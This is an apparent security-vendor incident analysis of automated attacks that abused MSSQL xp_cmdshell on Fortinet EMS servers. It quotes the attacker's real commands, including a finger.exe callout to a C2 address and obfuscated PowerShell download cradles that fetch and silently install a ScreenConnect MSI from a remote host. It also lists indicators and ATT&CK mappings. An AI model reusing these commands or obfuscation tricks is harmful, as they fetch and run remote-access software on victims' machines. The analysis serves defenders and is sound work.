Background
Huntress SOC analysts continue to see alerts indicating malicious activity on endpoints running MSSQL Server or MSSQL Express, either as stand-alone installations, or as part of a larger application package installation. A recent series of incidents across three endpoints running the Fortinet Enterprise Management Server (EMS) system were initiated by alerts as illustrated in Figure 1.
Deeper analysis into these incidents resulted in some interesting findings, as Huntress analysts created investigative timelines for two of the three identified endpoints. Analysis of the investigative timelines ultimately revealed not only the initial means of access, but also that the threat actor’s attempts appear to have failed on the monitored endpoints.
The Attacks
Following the alerts seen in Figure 1, and subsequent reports generated for the three identified endpoints, Huntress analysts developed investigative timelines from Windows Event Log data and EDR telemetry to get a better view and understanding of the detected activity. It turned out that for both of the examined endpoints, the sequence and timing of the commands involved in the attack were similar, and appeared to be automated in nature.
The first indication of the attack was an MSSQL event ID 15281 record within the Application Event Log, indicating that access to a stored procedure was blocked, as illustrated in Figure 2.
Shortly after, the xp_cmdshell stored procedure was activated, and the following command was observed within the EDR telemetry:
"C:\Windows\system32\cmd.exe" /c FINGER ADMIN@185.56.83[.]82
The above command was observed at 21:34:13 UTC on endpoint 1, and at 21:28:33 UTC on endpoint 2, on the same day. The command was a child process of the sqlservr.exe, as were all of the subsequent commands described below.
Note the IP address; Huntress has observed activity related to this IP address during previous incidents, including one involving the use of finger.exe to exfiltrate data. During another incident, the IP address was associated again with the use of finger.exe, following the successful exploit of the OWASRRF vulnerability.
Approximately 100 minutes later, on both endpoints, two commands encoded by converting each character to its decimal equivalent, separated by “+”, were visible in EDR telemetry. An excerpt of the command line appeared as illustrated in Figure 3.
When converted, the lower command (which appeared first) translated to the following:
msiexec /q /i c:windowstemp1.msi
The decoded command appears exactly as it is above, with no back slashes (i.e., “\”). However, this command was not preceded by any visible attempts to download the file 1.msi to the endpoint, nor does an investigative timeline show any indication of msiexec.exe running and generating error messages following the command.
Approximately 17 minutes after the previous command, on both endpoints, the second (upper) command was visible in EDR telemetry; when decoded, the command appears as follows:
powershell -nop -c $ds = 'D' + 'Own' + 'LOa' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$ds.Invoke(''http://95.179.241[.]10:23963/Bin/ConnectWiseControl.ClientSetup.msi?e=Access&y=Guest'', ''c:\windows\temp\2.msi'')
PowerShell Event Logs on neither endpoint provided any indication that the above command had been executed successfully.
In an attempt to replicate the above two commands, the ‘dir’ command was converted to the same encoding format and entered at the command prompt. The results are illustrated in Figure 4.
A bit more than an hour later (63 minutes in endpoint 1, 68 minutes on endpoint 2), the following command appeared in EDR telemetry for both endpoints:
msiexec /q /i c:\windows\temp\1.msi
Again, it should be noted that prior to this command, there were no visible commands that would have led to the file 1.msi being downloaded to the endpoints. On both endpoints, the above command line was immediately followed in the investigative timeline with MsiInstaller records in the Windows Event Log indicating that the Installer started and immediately stopped.
Then, approximately 15 minutes later, on both endpoints, the SQL server process used for FortiClient EMS was seen to spawn a PowerShell download cradle designed to install a ConnectWise ScreenConnect instance.
powershell -nop -c $ds = 'D' + 'Own' + 'LOa'' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('http://95.179.241[.]10:23963/Bin/ConnectWiseControl.ClientSetup.msi?e=Access
One endpoint saw an additional command executed, which appeared as follows:
"C:\Windows\system32\cmd.exe" /c powershell -nop -c $ds = 'D' + 'Own' + 'LOa'' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('http://95.179.241[.]10:23963/Bin/ConnectWiseControl.ClientSetup.msi?e=Access&y=Guest', 'c:\windows\temp\m.msi')
Subsequently, the following command was run approximately 6 ½ minutes later:
"C:\Windows\system32\cmd.exe" /c msiexec /q /i c:\windows\temp\m.msi
Beyond this, no additional commands were observed.
Conclusion
On none of the monitored endpoints did the MSI installation appear to be successful. Huntress analysts were able to obtain a copy of m.msi and determined that the ScreenConnect Instance ID tied to the installer is f722dcd0838a377e, and that it connects to 95.179.241[.]10. There were no indications that the ScreenConnect instance was successfully installed on any of the monitored endpoints.
Reviewing the investigative timelines, the order of the commands seems counterintuitive. The threat actor clearly had SYSTEM level access to the endpoints, having obtained the necessary credentials. On both investigated endpoints, MSSQL records in the Application Event Log extended back several months prior to the attack, and on neither endpoint was there any indication of a brute force attack, nor failed login attempts, during that time. Following the apparent “command and control” command via finger.exe, one would think that the next step would be to use commands that actually worked. Then, attempting to run msiexec.exe against an MSI file that hasn’t yet been downloaded to the endpoint seems counterproductive.
Finally, the timing and sequence of commands appearing on multiple endpoints, across different customer infrastructures, appears to indicate a script or playbook was being followed, possibly in an automated fashion.
Indicator
185.56.83[.]82 - Initial “C2” IP address (target for finger command)
95.179.241[.]10 - Source from where ScreenConnect instance was downloaded (PowerShell command)
f722dcd0838a377e - ScreenConnect instance ID
95.179.241[.]10:443 - IP address:port that the ScreenConnect instance attempts to connect to
MITRE ATT&CK Mapping
Initial Access
- T1190 (Exploit Public-Facing Application)
Execution
- T1059.001 (PowerShell)
- T1059.003 (Windows Command Shell)
Defense Evasion
- T1218.007 (Msiexec)
- T1027 (Command Obfuscation)
Command and Control
- T1219 (Remote Access Software)
